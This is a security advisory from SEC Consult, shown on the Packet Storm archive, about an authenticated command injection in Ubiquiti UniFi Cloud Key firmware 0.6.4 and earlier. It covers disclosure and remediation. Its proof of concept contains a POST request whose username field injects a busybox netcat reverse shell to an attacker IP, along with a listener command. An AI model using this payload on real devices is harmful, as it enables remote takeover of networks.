exploit the possibilities

Ubiquiti Networks UniFi Cloud Key Command Injection

Ubiquiti Networks UniFi Cloud Key Command Injection
Posted Sep 15, 2017
Authored by T. Weber | Site sec-consult.com

Ubiquiti Networks UniFi Cloud Key wwith firmware versions 0.6.4 and below suffer from an authenticated command injection vulnerability.

tags | exploit
MD5 | 4d0cd508a986d910f949bc461e2fce58

Ubiquiti Networks UniFi Cloud Key Command Injection

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20170914-0 >
=======================================================================
title: Authenticated Command Injection
product: Ubiquiti Networks UniFi Cloud Key
vulnerable version: Firmware version <=0.6.4
fixed version: Firmware version >=0.6.9
CVE number: -
impact: High
homepage: https://www.ubnt.com
found: 2017-03-26
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/


Business recommendation:
------------------------
The patch supplied by the vendor should be installed immediately.

There are indications for further security issues within this device, hence
SEC Consult recommends performing a detailed review by security professionals.


Vulnerability overview/description:
-----------------------------------
1) Authenticated Command Injection in Administrative Interface
A change of the username with a hand crafted request leads to command injection
in the administrative interface. This vulnerability can be exploited when the
cloud key web interface is exposed to the internet.

An attacker which can access the administrative web interface of the cloud
key after cracking a cloud account password is able to execute arbitrary
commands without access to the local network. Since the Ubiquiti switches also
use the same credentials, the whole network can be compromised over this attack
vector.


Proof of concept:
-----------------
1) Authenticated Command Injection in Administrative Interface
The following PHP code excerpt is responsible for the username command execution:

(api.inc, line 455)
-------------------------------------------------------------------------------
[...]
function chusername($username) {
exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc);
return $rc;
}
[...]
-------------------------------------------------------------------------------

Since '$username' is not filtered, a command injection is possible.

The following POST request opens a reverse-shell to the attacker:
-------------------------------------------------------------------------------
POST /api/account HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
X-Access-Token: <Token>
Referer: https://$host/manage/maintenance
Content-Length: 57
Cookie: CKSESSIONID=<Session-ID>
Connection: close

{"username":";busybox nc $attackerIP 8999 -e /bin/bash;"}
-------------------------------------------------------------------------------

As listener, netcat was used:
$ nc -lvp <Attacker-Port>


Vulnerable / tested versions:
-----------------------------
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested.
This version was the latest at the time the security vulnerabilities
were discovered. Version 0.6.4 has been checked and found to be
vulnerable as well.


Vendor contact timeline:
------------------------
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
"Triaged".
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor, firmware
is still vulnerable.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-06-01: Vendor sent a link to the fixed version 0.6.9.
2017-06-07: Verified the fix in this version. Vendor marked the issue
as resolved.
2017-09-13: Public release of security advisory


Solution:
---------
Upgrade to v0.6.9 or above.
https://community.ubnt.com/t5/UniFi-Updates-Blog/UniFi-Cloud-Key-firmware-0-6-9-has-been-released/ba-p/1974091


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2017

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    17 Files
  • 23
    Mar 23rd
    1 Files
  • 24
    Mar 24th
    1 Files
  • 25
    Mar 25th
    16 Files
  • 26
    Mar 26th
    21 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close